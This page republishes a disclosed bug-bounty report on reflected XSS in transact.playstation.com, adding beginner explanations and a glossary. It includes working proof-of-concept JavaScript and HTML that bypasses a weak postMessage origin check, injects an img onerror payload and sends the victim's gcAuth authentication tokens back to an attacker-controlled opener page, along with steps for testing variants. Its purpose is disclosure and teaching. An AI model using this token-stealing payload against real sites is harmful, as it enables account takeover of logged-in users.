Skip to content
XSS Disclosed report Intermediate

Reflected XSS on transact.playstation.com using postMessage from the opening window

The transact.playstation.com page accepts postMessage events and only checks that the origin matches the referrer, which can be bypassed by opening the page from an attacker-controlled window. An attacker can then call replaceRoute to render a malicious model containing HTML, leading to reflected XSS and theft of authentication tokens.

vakzz Follow

Originally disclosed on HackerOne

Bounty$1,000 High 7.4 View original
  • Triaged in 24 hours
  • Fixed in 2 months
  • Paid in 12 days
  • Disclosed after 9 months

Summary by the program

Report Summary:

When transact.playstation.com loads it handles messages received from postMessage in the _receiveMessageFromTransactClientService method. The only validation that is performed is to ensure that the referrer and origin match:

JavaScript
_receiveMessageFromTransactClientService: function (e) {
          var n = void 0,
            r = this.get("replaceRoute"),
            i = this.get("referrer");
          if (!i || e.origin === (0, t.default)(i)) {
            try {
              n = JSON.parse(e.data);
            } catch (u) {}

These checks can be passed by using win = window.open("https://transact.playstation.com/") to launch a new window, then send messages with win.postMessage. This allows a few functions to be called, including replaceRoute which allows the current ember route and model to be set:

JavaScript
win = window.open("https://transact.playstation.com/");
win.postMessage(JSON.stringify({
                action: "replaceRoute",
                route: "application_error",
                model: { error: 500, title: "injected", message: "from vakzz" }
            }), "*");

After looking at a few of the routes, voucher.multi-product-details has a sku.longDescription on the model that is rendered as html and can be used to create an xss if the user is logged in:

JavaScript
win.postMessage(JSON.stringify({
                action: "replaceRoute",
                route: "voucher.multi-product-details",
                model: {
                    eligible: true,
                    sku: {
                        id: 0, longDescription: `
                            <img src=x onerror='alert(document.domain)'>`
                    }
                }
            }), "*");

Using the XSS, the current tokens from gcAuth can be retrieved and posted back to the opening window using:

JavaScript
valkyrie.transact.preflightRunner.getPromise("gcAuth").then((gcAuth) => window.opener.postMessage(JSON.stringify(gcAuth), "*"));

Steps To Reproduce:

  1. Log into https://id.sonyentertainmentnetwork.com/id/management
  2. Visit https://aw.rs/ps4/xss1.html
  3. Click the button and wait 5 seconds
  4. The XSS will fire and post a message back to the opening window:

Supporting Material/References:

Source of https://aw.rs/ps4/xss1.html

HTML
<!DOCTYPE html>
<html>

<body>
    <button onclick="start()">click me</button>
    <script>
        window.addEventListener("message", (msg) => {
            console.log("got message", msg);
            alert(msg.data);
        });

        async function start() {
            win = window.open("https://transact.playstation.com/", "transact");
            await new Promise((resolve) => setTimeout(resolve, 5000));

            win.postMessage(JSON.stringify({
                action: "replaceRoute",
                route: "voucher.multi-product-details",
                model: {
                    eligible: true,
                    sku: {
                        id: 0, longDescription: `
                            <img src=x onerror='
                                valkyrie.transact.preflightRunner.getPromise("gcAuth").then((gcAuth) => window.opener.postMessage(JSON.stringify(gcAuth), "*"));
                            '>`
                    }
                }
            }), "*");
        }
    </script>
</body>

</html>

Impact

Allows an attacker to execute arbitrary javascript on transact.playstation.com if a user visits or clicks on a malicious link, allowing cookies, tokens, and localStorage to be stolen.

The original report as published on HackerOne, by vakzz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

transact.playstation.com is a PlayStation web application built on Ember. When the page loads, it listens for messages delivered through postMessage and handles them in a method called _receiveMessageFromTransactClientService. That handler is the entry point for this bug: it accepts a JSON message from another window and, based on the action field, can drive the application's routing.

The report describes one action in particular, replaceRoute, which lets the sender set the current Ember route and its model. Because some routes render parts of the model as HTML, a crafted model can carry markup that the browser executes.

Setup

The only precondition stated in the report is that the victim is logged in. The reproduction steps begin by logging into the Sony account management page:

  1. Log into https://id.sonyentertainmentnetwork.com/id/management
  2. Visit https://aw.rs/ps4/xss1.html
  3. Click the button and wait 5 seconds
  4. The XSS fires and posts a message back to the opening window

The proof of concept is a page hosted on the researcher's own domain, opened in the victim's browser while the victim has an active session on the PlayStation site.

Finding it

The researcher looked at how the page processes incoming postMessage events and found that the handler performs only one check: it compares the event origin against the configured referrer.

JavaScript
_receiveMessageFromTransactClientService: function (e) {
          var n = void 0,
            r = this.get("replaceRoute"),
            i = this.get("referrer");
          if (!i || e.origin === (0, t.default)(i)) {
            try {
              n = JSON.parse(e.data);
            } catch (u) {}

The condition !i || e.origin === (0, t.default)(i) means the message is accepted when no referrer is configured, or when the origin of the sender matches the referrer. That looks like a defence, but it can be satisfied by an attacker: if the attacker's page opens the target with window.open, the resulting window's postMessage calls carry the attacker's origin, and the attacker controls what that origin is. The check therefore does not distinguish a trusted sender from a page that simply opened the target itself.

Once past the check, the message is parsed as JSON and dispatched. The researcher found that the replaceRoute action allows the current Ember route and model to be set, and that several routes can be reached this way.

Exploitation

Step 1: open the target and send a route change

The first payload opens the target in a new window and sends a replaceRoute message that navigates to application_error with an attacker-controlled model:

JavaScript
win = window.open("https://transact.playstation.com/");
win.postMessage(JSON.stringify({
                action: "replaceRoute",
                route: "application_error",
                model: { error: 500, title: "injected", message: "from vakzz" }
            }), "*");

window.open creates the window whose origin will match the referrer check, and postMessage with "*" as the target origin delivers the JSON string to the handler. The action selects replaceRoute, route names the Ember route, and model supplies the data that route renders. The application_error route is used here to show that replaceRoute can set the route and model.

Step 2: pick a route that renders model data as HTML

After reviewing several routes, the researcher identified voucher.multi-product-details as rendering sku.longDescription from the model as HTML. That makes it possible to inject markup that executes script, provided the user is logged in:

JavaScript
win.postMessage(JSON.stringify({
                action: "replaceRoute",
                route: "voucher.multi-product-details",
                model: {
                    eligible: true,
                    sku: {
                        id: 0, longDescription: `
                            <img src=x onerror='alert(document.domain)'>`
                    }
                }
            }), "*");

The model sets eligible: true and a sku object whose longDescription contains an img element with a broken src and an onerror handler. When the route renders the description as HTML, the image fails to load and the handler runs in the origin of transact.playstation.com.

Step 3: exfiltrate the authentication tokens

With script running in the target origin, the researcher used the application's own service to read the gcAuth tokens and send them back to the window that opened the page:

JavaScript
valkyrie.transact.preflightRunner.getPromise("gcAuth").then((gcAuth) => window.opener.postMessage(JSON.stringify(gcAuth), "*"));

valkyrie.transact.preflightRunner.getPromise("gcAuth") resolves with the token object, and window.opener.postMessage delivers it to the attacker's page, which is the opener because it called window.open.

Step 4: the full proof of concept

The hosted page combines all of the above. It listens for messages so it can display what comes back, opens the target, waits five seconds for the page to load, then sends the route change with the payload embedded in longDescription:

HTML
<!DOCTYPE html>
<html>

<body>
    <button onclick="start()">click me</button>
    <script>
        window.addEventListener("message", (msg) => {
            console.log("got message", msg);
            alert(msg.data);
        });

        async function start() {
            win = window.open("https://transact.playstation.com/", "transact");
            await new Promise((resolve) => setTimeout(resolve, 5000));

            win.postMessage(JSON.stringify({
                action: "replaceRoute",
                route: "voucher.multi-product-details",
                model: {
                    eligible: true,
                    sku: {
                        id: 0, longDescription: `
                            <img src=x onerror='
                                valkyrie.transact.preflightRunner.getPromise("gcAuth").then((gcAuth) => window.opener.postMessage(JSON.stringify(gcAuth), "*"));
                            '>`
                    }
                }
            }), "*");
        }
    </script>
</body>

</html>

The message listener on the attacker page logs incoming messages and shows their data with alert(msg.data). The five-second delay gives the target page time to load before the message is sent. The button starts the exploit when clicked, as in step 3 of the reproduction.

Root cause

The handler trusts any message whose origin matches the configured referrer, but an attacker can make that condition true by opening the target with window.open and posting from the opening window. The origin check can be passed by a page that opens the target with window.open and posts from there.

On top of that, the replaceRoute action lets the sender choose the route and the model, and at least one route, voucher.multi-product-details, renders sku.longDescription as HTML. The combination of an insufficient sender check, a message action that sets routing state, and a route that renders model data as markup produces the reflected XSS. The report does not describe any additional validation on the model or on the rendered description.

Impact

An attacker can execute arbitrary JavaScript on transact.playstation.com when a user visits or clicks on a malicious link, provided the user is logged in. According to the report, this allows cookies, tokens and localStorage to be stolen. The proof of concept demonstrates theft of the gcAuth tokens specifically, posted back to the attacker's opening window.

Fix

The report does not describe a fix or a change made in response. Based on the root cause, the message handler should not accept messages merely because the sender's origin matches the referrer; it should verify that the sender is a trusted origin and that the message comes from an expected window, and the route that renders sku.longDescription should not treat model data as HTML.

Variants to test

  1. Open the target with window.open from a page you control and send a replaceRoute message to a harmless route. A positive result is the target navigating to that route, which shows the origin check can be bypassed.
  2. Send replaceRoute messages for other routes with model fields that the application renders. A positive result is any route that reflects a model value into the DOM as HTML.
  3. Put a benign marker such as <b>test</b> in longDescription and inspect the rendered page. A positive result is the marker appearing as markup rather than text.
  4. Replace the marker with an onerror handler on a broken image and check whether it runs in the target origin. A positive result is script execution on transact.playstation.com.
  5. From the injected script, call the application's own services to read tokens and post them to window.opener. A positive result is the token object arriving at the attacker's page.

Hunting notes

This kind of bug tends to hide in single-page applications that accept postMessage from other windows, especially where the handler checks the sender's origin against a referrer or similar value that an opener can satisfy. During recon, look for postMessage listeners and message handlers in the JavaScript bundle, and for actions that change routing or application state. A handler that parses JSON and dispatches on an action field is a strong signal. To show impact, demonstrate that the message is accepted from an attacker-controlled opener, that a route renders model data as HTML, and that the resulting script can read something sensitive such as authentication tokens and send it back to the opener. The report shows exactly this chain, which is what makes the issue concrete rather than theoretical.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A security researcher found a way to make a PlayStation website run code that an attacker wrote. The website is transact.playstation.com, a web application built with a framework called Ember. The trick did not require breaking into the server. It relied on the way the page listens for messages from other browser windows.

Browsers let one page send a message to another page with a feature called postMessage. It is a bit like passing a note through a window: the receiving page decides whether to read the note and what to do with it. The PlayStation page reads such notes in a function called _receiveMessageFromTransactClientService. That function is the doorway the researcher walked through.

The page only checked one thing before trusting a note: whether the sender's origin matched a configured referrer. An origin is the combination of scheme, host and port, for example https://transact.playstation.com. A referrer is the address of the page that led the browser to the current page. The researcher realised that an attacker can make that check pass simply by opening the PlayStation page from their own page with window.open. The new window's messages then carry the attacker's origin, and the attacker controls that origin.

Once past the check, the message is read as JSON and acted on. JSON is a plain text format for structured data, like a very simple form filled in with names and values. The message has an action field, and one action, replaceRoute, lets the sender choose which page (route) the application shows and what data (model) that page displays. Some routes display part of that data as HTML, the language browsers use to build pages. If the data contains HTML written by the attacker, the browser runs it. That is the vulnerability class here: reflected cross-site scripting, usually shortened to XSS. Reflected means the malicious content is not stored on the server; it is sent in and bounced straight back to the victim's browser.

The researcher used this to run JavaScript, the programming language of web pages, inside transact.playstation.com. From there, the script read the user's authentication tokens and sent them back to the attacker's page. A token is a short piece of text that proves who you are, a bit like a wristband at an event: show it and you are let in without showing your ID again. Stealing it can let an attacker act as the victim.

The report says the XSS can be used if the user is logged in. The proof of concept is a page at https://aw.rs/ps4/xss1.html that the victim visits while logged in, then clicks a button.

Context

transact.playstation.com is a PlayStation web application built on Ember. Ember is a JavaScript framework for building single-page applications: instead of loading a fresh page from the server for every click, the application swaps views inside the same page. Those views are called routes, and the data a route displays is called its model.

When the page loads, it listens for messages delivered through postMessage and handles them in a method called _receiveMessageFromTransactClientService. That handler is the entry point for this bug: it accepts a JSON message from another window and, based on the action field, can drive the application's routing.

The report describes one action in particular, replaceRoute, which lets the sender set the current Ember route and its model. Because some routes render parts of the model as HTML, a crafted model can carry markup that the browser executes.

Setup

The reproduction steps begin by logging into the Sony account management page:

  1. Log into https://id.sonyentertainmentnetwork.com/id/management
  2. Visit https://aw.rs/ps4/xss1.html
  3. Click the button and wait 5 seconds
  4. The XSS fires and posts a message back to the opening window

The proof of concept is a page at https://aw.rs/ps4/xss1.html, opened in the victim's browser while the victim has an active session on the PlayStation site. An active session means the browser still holds the login state, usually in cookies or tokens, so the PlayStation site treats the visitor as the logged-in user.

Finding it

The researcher looked at how the page processes incoming postMessage events and found that the handler performs only one check: it compares the event origin against the configured referrer.

JavaScript
_receiveMessageFromTransactClientService: function (e) {
          var n = void 0,
            r = this.get("replaceRoute"),
            i = this.get("referrer");
          if (!i || e.origin === (0, t.default)(i)) {
            try {
              n = JSON.parse(e.data);
            } catch (u) {}

Line by line:

  • _receiveMessageFromTransactClientService: function (e) { defines the function that runs when a message arrives. The e is the event object, which carries details about the message, including who sent it and what it contains.
  • var n = void 0, declares a variable n and sets it to undefined. This will later hold the parsed message.
  • r = this.get("replaceRoute"), reads a setting called replaceRoute from the application. It is fetched but not used in the visible snippet.
  • i = this.get("referrer"); reads the configured referrer value. This is the value the sender's origin will be compared against.
  • if (!i || e.origin === (0, t.default)(i)) { is the only gate. It opens when there is no configured referrer (!i), or when the sender's origin (e.origin) equals the normalised referrer. The (0, t.default)(i) part is a compiled way of calling a helper function on the referrer value.
  • try { starts a block that may fail without stopping the whole function.
  • n = JSON.parse(e.data); turns the message text into a JavaScript object. If the text is not valid JSON, the next line catches the error.
  • } catch (u) {} swallows any parsing error silently.

The condition !i || e.origin === (0, t.default)(i) means the message is accepted when no referrer is configured, or when the origin of the sender matches the referrer. That looks like a defence, but it can be satisfied by an attacker: if the attacker's page opens the target with window.open, the resulting window's postMessage calls carry the attacker's origin, and the attacker controls what that origin is. The check therefore does not distinguish a trusted sender from a page that simply opened the target itself.

A useful comparison: a bouncer checks that the person at the door is wearing the same colour wristband as the staff. An attacker can buy the same colour wristband. The check confirms a colour, not trust.

Once past the check, the message is parsed as JSON and dispatched. The researcher found that the replaceRoute action allows the current Ember route and model to be set, and that several routes can be reached this way.

Exploitation

Step 1: open the target and send a route change

The first payload opens the target in a new window and sends a replaceRoute message that navigates to application_error with an attacker-controlled model:

JavaScript
win = window.open("https://transact.playstation.com/");
win.postMessage(JSON.stringify({
                action: "replaceRoute",
                route: "application_error",
                model: { error: 500, title: "injected", message: "from vakzz" }
            }), "*");

Line by line:

  • win = window.open("https://transact.playstation.com/"); opens the PlayStation page in a new browser window and keeps a handle to it in the variable win. A handle is a reference that lets the opening page talk to the new window. This is the step that makes the origin check pass, because the new window's messages will come from the attacker's page.
  • win.postMessage(JSON.stringify({ sends a message to that window. JSON.stringify turns a JavaScript object into a JSON text string, because postMessage carries text. The object being converted starts here.
  • action: "replaceRoute", tells the receiving handler which action to perform.
  • route: "application_error", names the Ember route to show. This route is used here to show that replaceRoute can set the route and model.
  • model: { error: 500, title: "injected", message: "from vakzz" } supplies the data that route renders. The values are chosen by the attacker.
  • }), "*"); closes the object and the call. The "*" means the message may be delivered to any origin, so the browser does not block it.

window.open creates the window whose origin will match the referrer check, and postMessage with "*" as the target origin delivers the JSON string to the handler. The action selects replaceRoute, route names the Ember route, and model supplies the data that route renders. The application_error route is used here to confirm that the model reaches the page.

Step 2: pick a route that renders model data as HTML

After reviewing several routes, the researcher identified voucher.multi-product-details as rendering sku.longDescription from the model as HTML. That makes it possible to inject markup that executes script, provided the user is logged in:

JavaScript
win.postMessage(JSON.stringify({
                action: "replaceRoute",
                route: "voucher.multi-product-details",
                model: {
                    eligible: true,
                    sku: {
                        id: 0, longDescription: `
                            <img src=x onerror='alert(document.domain)'>`
                    }
                }
            }), "*");

Line by line:

  • win.postMessage(JSON.stringify({ again sends a JSON text message to the window opened earlier.
  • action: "replaceRoute", uses the same action as before.
  • route: "voucher.multi-product-details", chooses a different route, one that displays a product description.
  • model: { starts the data for that route.
  • eligible: true, sets a field the route expects. The report does not explain what it controls beyond being part of the model.
  • sku: { starts a nested object describing a product. A SKU is a stock keeping unit, an identifier for a product variant.
  • id: 0, longDescription: `` opens a template literal, a JavaScript string that can span several lines, and starts the long description field.
  • <img src=x onerror='alert(document.domain)'> is the injected HTML. It asks the browser to load an image from x, which does not exist. When loading fails, the onerror handler runs. alert(document.domain) shows a pop-up with the domain of the page, which proves the script is running in the PlayStation page's origin.
  • } closes the template literal and the sku object, then the model and the call are closed with }), "*");.

The model sets eligible: true and a sku object whose longDescription contains an img element with a broken src and an onerror handler. When the route renders the description as HTML, the image fails to load and the handler runs in the origin of transact.playstation.com.

Why an image with a broken address? Browsers run the onerror handler whenever an image fails to load. It is a reliable way to get code to run without needing the user to click anything inside the page.

Step 3: exfiltrate the authentication tokens

With script running in the target origin, the researcher used the application's own service to read the gcAuth tokens and send them back to the window that opened the page:

JavaScript
valkyrie.transact.preflightRunner.getPromise("gcAuth").then((gcAuth) => window.opener.postMessage(JSON.stringify(gcAuth), "*"));

Line by line:

  • valkyrie.transact.preflightRunner.getPromise("gcAuth") asks the application's own internal service for the gcAuth value. valkyrie.transact.preflightRunner is a part of the application, and getPromise returns a promise, an object that will produce a value later.
  • .then((gcAuth) => runs the following code once the value is ready, naming it gcAuth.
  • window.opener.postMessage( sends a message to the window that opened this one. window.opener is the handle back to the attacker's page.
  • JSON.stringify(gcAuth), turns the token object into text.
  • "*" allows delivery to any origin.
  • ); closes the call.

valkyrie.transact.preflightRunner.getPromise("gcAuth") resolves with the token object, and window.opener.postMessage delivers it to the attacker's page, which is the opener because it called window.open.

Step 4: the full proof of concept

The hosted page combines all of the above. It listens for messages so it can display what comes back, opens the target, waits five seconds for the page to load, then sends the route change with the payload embedded in longDescription:

HTML
<!DOCTYPE html>
<html>

<body>
    <button onclick="start()">click me</button>
    <script>
        window.addEventListener("message", (msg) => {
            console.log("got message", msg);
            alert(msg.data);
        });

        async function start() {
            win = window.open("https://transact.playstation.com/", "transact");
            await new Promise((resolve) => setTimeout(resolve, 5000));

            win.postMessage(JSON.stringify({
                action: "replaceRoute",
                route: "voucher.multi-product-details",
                model: {
                    eligible: true,
                    sku: {
                        id: 0, longDescription: `
                            <img src=x onerror='
                                valkyrie.transact.preflightRunner.getPromise("gcAuth").then((gcAuth) => window.opener.postMessage(JSON.stringify(gcAuth), "*"));
                            '>`
                    }
                }
            }), "*");
        }
    </script>
</body>

</html>

Line by line:

  • <!DOCTYPE html> tells the browser this is an HTML page.
  • <html> and <body> are the usual outer tags of a web page.
  • <button onclick="start()">click me</button> shows a button. Clicking it runs the start function. The button starts the exploit when clicked, as in step 3 of the reproduction.
  • <script> starts a block of JavaScript.
  • window.addEventListener("message", (msg) => { registers a listener that runs whenever this page receives a message. This is how the attacker's page catches the tokens coming back.
  • console.log("got message", msg); writes the message to the browser's developer console, useful for debugging.
  • alert(msg.data); shows the message contents in a pop-up. If the tokens arrive, they appear here.
  • }); closes the listener.
  • async function start() { defines the function that runs when the button is clicked. async means it can wait for things without freezing the page.
  • win = window.open("https://transact.playstation.com/", "transact"); opens the PlayStation page in a new window and gives it the name transact.
  • await new Promise((resolve) => setTimeout(resolve, 5000)); waits five seconds. setTimeout schedules a function to run after a delay in milliseconds, and 5000 milliseconds is five seconds. The wait gives the target page time to load before the message is sent.
  • win.postMessage(JSON.stringify({ sends the JSON message to the opened window.
  • action: "replaceRoute", selects the action.
  • route: "voucher.multi-product-details", selects the route that renders the description as HTML.
  • model: { starts the data.
  • eligible: true, sets the expected field.
  • sku: { starts the product object.
  • id: 0, longDescription: `` opens the description string.
  • <img src=x onerror=' starts the injected image tag and opens the handler code.
  • valkyrie.transact.preflightRunner.getPromise("gcAuth").then((gcAuth) => window.opener.postMessage(JSON.stringify(gcAuth), "*")); is the token theft from step 3, now placed inside the handler so it runs when the image fails to load.
  • '> closes the handler attribute and the image tag.
  • The closing braces and }), "*"); finish the message and send it.
  • } closes the start function, </script>, </body> and </html> close the page.

The message listener on the attacker page logs incoming messages and shows their data with alert(msg.data). The five-second delay gives the target page time to load before the message is sent.

Root cause

The handler trusts any message whose origin matches the configured referrer, but an attacker can make that condition true by opening the target with window.open and posting from the opening window. The origin check can be passed by a page that opens the target with window.open and posts from there.

On top of that, the replaceRoute action lets the sender choose the route and the model, and at least one route, voucher.multi-product-details, renders sku.longDescription as HTML. The combination of an insufficient sender check, a message action that sets routing state, and a route that renders model data as markup produces the reflected XSS. The report does not describe any additional validation on the model or on the rendered description.

Impact

An attacker can execute arbitrary JavaScript on transact.playstation.com when a user visits or clicks on a malicious link, provided the user is logged in. According to the report, this allows cookies, tokens and localStorage to be stolen. Cookies are small pieces of data a site stores in the browser, often used to keep you logged in. localStorage is a similar storage area in the browser that pages can read and write. The proof of concept demonstrates theft of the gcAuth tokens specifically, posted back to the attacker's opening window.

Fix

Based on the root cause, the message handler should not accept messages merely because the sender's origin matches the referrer; it should verify that the sender is a trusted origin and that the message comes from an expected window, and the route that renders sku.longDescription should not treat model data as HTML.

Variants to test

  1. Open the target with window.open from a page you control and send a replaceRoute message to a harmless route. A positive result is the target navigating to that route, which shows the origin check can be bypassed.
  2. Send replaceRoute messages for other routes with model fields that the application renders. A positive result is any route that reflects a model value into the DOM as HTML. The DOM is the browser's in-memory tree of the page.
  3. Put a benign marker such as <b>test</b> in longDescription and inspect the rendered page. A positive result is the marker appearing as markup rather than text.
  4. Replace the marker with an onerror handler on a broken image and check whether it runs in the target origin. A positive result is script execution on transact.playstation.com.
  5. From the injected script, call the application's own services to read tokens and post them to window.opener. A positive result is the token object arriving at the attacker's page.

Hunting notes

This kind of bug tends to hide in single-page applications that accept postMessage from other windows, especially where the handler checks the sender's origin against a referrer or similar value that an opener can satisfy. During recon, look for postMessage listeners and message handlers in the JavaScript bundle, and for actions that change routing or application state. A handler that parses JSON and dispatches on an action field is a strong signal. To show impact, demonstrate that the message is accepted from an attacker-controlled opener, that a route renders model data as HTML, and that the resulting script can read something sensitive such as authentication tokens and send it back to the opener. The report shows exactly this chain, which is what makes the issue concrete rather than theoretical.

Glossary

  • API: a defined way for one piece of software to ask another for data or actions, like a menu of requests a service accepts.
  • Cookie: a small piece of data a website stores in the browser, often used to remember a login.
  • Cross-site scripting (XSS): a vulnerability where an attacker gets their own code to run inside a trusted website in the victim's browser.
  • DOM: the browser's in-memory tree of the page, built from the HTML, which scripts can read and change.
  • Ember: a JavaScript framework for building single-page web applications.
  • Exfiltration: sending stolen data out to a place the attacker controls.
  • Handler: a function that runs in response to an event, such as a message arriving.
  • HTML: the language used to describe the structure and content of web pages.
  • JavaScript: the programming language that runs in web browsers and makes pages interactive.
  • JSON: a plain text format for structured data, made of names and values.
  • localStorage: a storage area in the browser that web pages can read and write, kept on the user's device.
  • Model: the data a page or route displays.
  • Origin: the combination of scheme, host and port that identifies where a page came from, for example https://transact.playstation.com.
  • postMessage: a browser feature that lets one window send a message to another window.
  • Promise: an object that represents a value that will be available later.
  • Referrer: the address of the page that led the browser to the current page.
  • Reflected XSS: XSS where the malicious content is sent in with a request and bounced straight back to the victim, rather than being stored on the server.
  • Route: in a single-page application, a view or screen that the application shows, tied to a URL.
  • Session: the period during which a site treats a visitor as logged in, usually tracked with cookies or tokens.
  • Single-page application: a web application that swaps views inside one loaded page instead of loading a new page for each click.
  • SKU: stock keeping unit, an identifier for a particular product variant.
  • Token: a short piece of text that proves identity or permission, like a wristband that gets you back in without showing ID.
  • window.open: a browser function that opens a new window and returns a handle to it.
  • window.opener: a reference from a window back to the window that opened it.

More by vakzz

View all

24 more disclosed reports, best first.

More from PlayStation

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.